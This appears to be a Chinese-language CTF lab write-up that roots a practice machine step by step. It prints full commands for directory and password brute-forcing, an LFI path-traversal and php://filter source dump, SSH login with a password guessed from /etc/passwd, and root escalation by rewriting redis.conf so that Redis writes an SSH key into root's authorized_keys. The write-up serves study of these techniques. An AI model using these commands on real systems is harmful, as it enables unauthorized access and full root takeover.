这是一份逻辑清晰的CTF靶机渗透实战笔记。前期信息收集阶段,攻击者通过Gobuster和FFUF成功发现后台并爆破出测试账号。随后利用后台的本地文件包含(LFI)漏洞,结合 php://filter 伪协议读取核心源码,成功提取Redis凭据并避开了复杂的反序列化陷阱 。通过社工逻辑分析 /etc/passwd,攻击者巧妙推导出SSH密码完成初始打点。在提权阶段,利用 sudo 配置缺陷及对Redis配置文件的越权写入漏洞,将SSH公钥直接持久化注入到root用户的 authorized_keys 中,最终顺利拿下系统最高权限 。

枚举

初始扫描发现目标仅开放了常规 Web 端口。

# 必须使用 -x 指定后缀,否则 Gobuster 默认只找目录
gobuster dir -u http://192.168.0.104/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt,bak

发现关键端点:

  • /index.php (登录页面)
  • /reg.php (注册页面,存在密码防重用枚举逻辑漏洞)
  • /config.php (后端配置)
  • /dashboard.php (登录后的控制面板)

FFUF

使用ffuf猜测密码

把在 Burp 里抓到的原始 HTTP 请求直接复制,保存到 Kali 机器上,命名为 req.txt。

ffuf -request req.txt -request-proto http -w /usr/share/wordlists/rockyou.txt -fs "[]"

得到两个密码:guest123,123123

同理,使用ffuf在index.php测试账户名

ffuf -request login.txt -request-proto http -w /usr/share/seclists/Usernames/top-usernames-shortlist.txt -mc "301"

得到:

  • guest:guest123
  • test:123123

Web

登录框存在简单的防爆破机制(基于 Session 的尝试次数限制),但通过目录扫描发现了后台页面 dashboard.php。

审计代码

通过测试 dashboard.php,发现其存在 Local File Inclusion (LFI) 漏洞。

# 读取 /etc/passwd 发现高价值目标
http://192.168.0.104/dashboard.php?view=../../../../../etc/passwd

由于直接包含 PHP 文件会被解析为空白,采用 PHP 伪协议 php://filter 提取后端核心源码。

# 读取核心业务逻辑源码
curl -s "http://192.168.0.104/dashboard.php?view=php://filter/read=convert.base64-encode/resource=index.php" | base64 -d
curl -s "<http://192.168.0.104/dashboard.php?view=php://filter/read=convert.base64-encode/resource=config.php>" | base64 -d

从源码中提取到两个重大情报:

  • Redis 凭据泄露:index.php 中硬编码了本地 Redis 的密码:mypassword123。
  • 底层函数限制:dashboard.php 使用的是 file_get_contents() 函数读取文件,而非 include()。这意味着目标不支持代码执行,传统的日志投毒 (Log Poisoning) 战术失效。
💡
⚠️ Rabbit Hole (兔子洞) 警告: config.php 中存在一个明显的 FileHandler 魔术方法 (__destruct) 反序列化链。 尝试了通过 Redis 缓存写入 payload.phar (结合高信息熵绕过 LZF 压缩) 以及 Session 毒化,但由于 Nginx 缓冲机制、RDB 文件头破坏 Phar 签名等底层原因,极难稳定触发。属于出题人布置的复杂陷阱。

利用 (社工密码推导)

跳出反序列化陷阱,重新审视 LFI 读出的 /etc/passwd 文件,发现系统注释字段 (GECOS) 存在极其明显的提示:

shanran:x:1000:1000:shan******:/home/shanran:/bin/sh

结合 config.php 源码中开发者对测试用户的设置规律:

  • 账号 test -> 密码 123123
  • 账号 guest -> 密码 guest123

推导公式:shanran (7位) + 123 (3位) = 10位。完美契合 shan****** 的掩码结构。

USER

使用推导出的密码直接进行 SSH 远程登录。

# 获取初始立足点 (Initial Access)
ssh shanran@192.168.0.104
# 密码: shanran123

ROOT

收集系统权限信息,发现经典的服务配置错误提权漏洞。

shanran@Deprecation:~$ sudo -l
User shanran may run the following commands on Deprecation:
    (ALL) NOPASSWD: /sbin/rc-service redis restart
    (ALL) NOPASSWD: /sbin/rc-service redis stop
    (ALL) NOPASSWD: /sbin/rc-service redis start

检查 Redis 服务运行状态与权限:

# 1. 发现 Redis 违规以 root 身份运行
ps aux | grep redis  ->  root 2396 ... /usr/bin/redis-server
# 2. 发现 redis 组对主配置文件拥有写权限
ls -l /etc/redis.conf -> -rw-rw-r-- 1 root redis 325 /etc/redis.conf
# 3. 确认当前用户 shanran 隶属于 redis 组
id

利用 (Redis 任意文件写入劫持)

利用对 /etc/redis.conf 的写权限,将 Redis 的持久化备份目录强制指向 root 用户的 SSH 信任目录,通过 Redis 将我们的 SSH 公钥注入其中。

# 1. 篡改 Redis 配置文件,接管持久化路径
echo 'dir /root/.ssh' > /etc/redis.conf
echo 'dbfilename authorized_keys' >> /etc/redis.conf
echo 'port 6379' >> /etc/redis.conf
echo 'requirepass mypassword123' >> /etc/redis.conf
echo 'bind 127.0.0.1' >> /etc/redis.conf

# 2. 以 root 权限重启 Redis 使恶意配置生效
sudo /sbin/rc-service redis restart

# 3. 登录 Redis 并注入 Kali 攻击机的 SSH 公钥
redis-cli -a mypassword123
127.0.0.1:6379> flushall
# 注意前后添加换行符,防止 RDB 二进制格式破坏公钥解析
127.0.0.1:6379> set crackit "\\n\\nssh-rsa AAAAB3Nza...[你的公钥]... kali@kali\\n\\n"
127.0.0.1:6379> save
127.0.0.1:6379> exit

# 4. SSH 免密直连 Root
ssh root@192.168.0.104